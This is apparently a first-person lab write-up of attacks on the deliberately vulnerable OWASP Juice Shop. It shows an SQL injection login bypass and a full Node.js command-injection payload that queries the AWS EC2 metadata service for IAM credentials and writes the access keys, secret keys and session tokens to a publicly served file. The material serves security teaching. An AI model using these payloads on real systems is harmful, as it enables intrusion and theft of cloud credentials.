💉 Advanced SQL Injection Attack Implementation

Understanding SQL Injection Vulnerabilities

SQL injection represents one of the most critical web application security vulnerabilities, enabling attackers to manipulate database queries and bypass security controls:

• Query Manipulation - Injecting malicious SQL code into backend database queries
• Authentication Bypass - Circumventing login mechanisms and user verification systems
• Data Exfiltration - Unauthorized access to sensitive database information
• Data Modification - Altering, deleting, or corrupting database records
• Administrative Escalation - Executing administrative database operations without authorization
• System Compromise - Potentially gaining broader system access through database vulnerabilities

SQL Injection Attack Execution

I executed a sophisticated SQL injection attack against the OWASP Juice Shop application:

Attack Vector Implementation

• Malicious Payload - Crafted input: ' OR 1=1-- injected into login form fields
• Query Logic Manipulation - Modified SQL query to always evaluate to true, bypassing authentication
• Authentication Bypass - Successfully gained unauthorized access without valid credentials
• Vulnerability Exploitation - Leveraged lack of input validation and parameterized queries

Technical Analysis

The attack succeeded because:

• Direct Input Integration - User input directly inserted into SQL statements without validation
• Missing Parameterization - Absence of prepared statements and parameterized queries
• Inadequate Sanitization - No input filtering or validation mechanisms
• Query Logic Vulnerability - SQL query structure allows logical manipulation through injection

Security Impact: This attack demonstrates how inadequate input validation can lead to complete authentication bypass, potentially exposing all user data and administrative functions to unauthorized access.

⚡ Sophisticated Command Injection Attack

Command Injection Vulnerability Analysis

Command injection represents a critical security vulnerability where web applications execute user input as system commands, providing attackers with direct server access:

• System Command Execution - Web server treats user input as executable commands
• Server Compromise - Direct access to underlying operating system and server resources
• Privilege Escalation - Potential access to sensitive system files and configurations
• Data Extraction - Ability to access and exfiltrate sensitive information and credentials
• Service Manipulation - Unauthorized modification of server services and configurations
• Complete System Takeover - Full server compromise through command execution capabilities

Advanced Command Injection Implementation

I executed a sophisticated command injection attack targeting AWS IAM credential extraction:

Malicious Payload Construction

#{global.process.mainModule.require('child_process').exec('CREDURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/;TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && CRED=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s $CREDURL | echo $CREDURL$(cat) | xargs -n1 curl -H "X-aws-ec2-metadata-token: $TOKEN") && echo $CRED | json_pp >frontend/dist/frontend/assets/public/credentials.json')}

Attack Sequence Analysis

• Metadata Service Access - Targets AWS EC2 instance metadata service for credential extraction
• Token Authentication - Obtains metadata service authentication token
• Credential Extraction - Retrieves AWS IAM credentials from instance metadata
• File System Manipulation - Saves stolen credentials to publicly accessible file location
• Data Formatting - Formats extracted data for easy consumption and analysis

Input Sanitization Failure Analysis

The attack succeeded due to critical security failures in the application:

• Missing Input Validation - Application failed to validate or sanitize user input before processing
• Command Execution Permission - Web application had permissions to execute system commands
• Insufficient Access Controls - No restrictions on metadata service access from web application
• Output File Permissions - Application could write files to publicly accessible directories

Critical Security Lesson: This demonstrates why robust input sanitization acts as a crucial security "bouncer" - without proper validation, malicious commands can easily infiltrate and compromise entire systems.

🔍 Attack Verification and Credential Analysis

Successful Credential Extraction Validation

I verified the attack's success by accessing the publicly exposed credentials file:

Credential File Analysis

• File Location - Successfully accessed: [JuiceShopURL]/assets/public/credentials.json
• AWS Access Keys - Retrieved complete AWS access key information
• Secret Keys - Obtained AWS secret access keys for full account access
• Session Tokens - Extracted temporary session tokens for authenticated access
• Credential Metadata - Complete credential information including expiration and type details

Extracted Credential Components

• AccessKeyId - Primary AWS access credentials for authentication
• SecretAccessKey - Secret key component for AWS API access
• Token - Temporary session token for time-limited access
• Expiration - Credential expiration timestamp for session management
• Code/Type - Status information and credential type classification

Security Impact Assessment: The successful credential extraction demonstrates how a simple web form vulnerability can be transformed into a "cloud key vending machine," providing unauthorized access to sensitive AWS resources and potentially compromising entire cloud environments.

Critical Takeaway: This attack sequence illustrates why comprehensive input sanitization and validation are essential - without proper security controls, attackers can easily escalate from simple form inputs to complete credential theft and cloud account compromise.
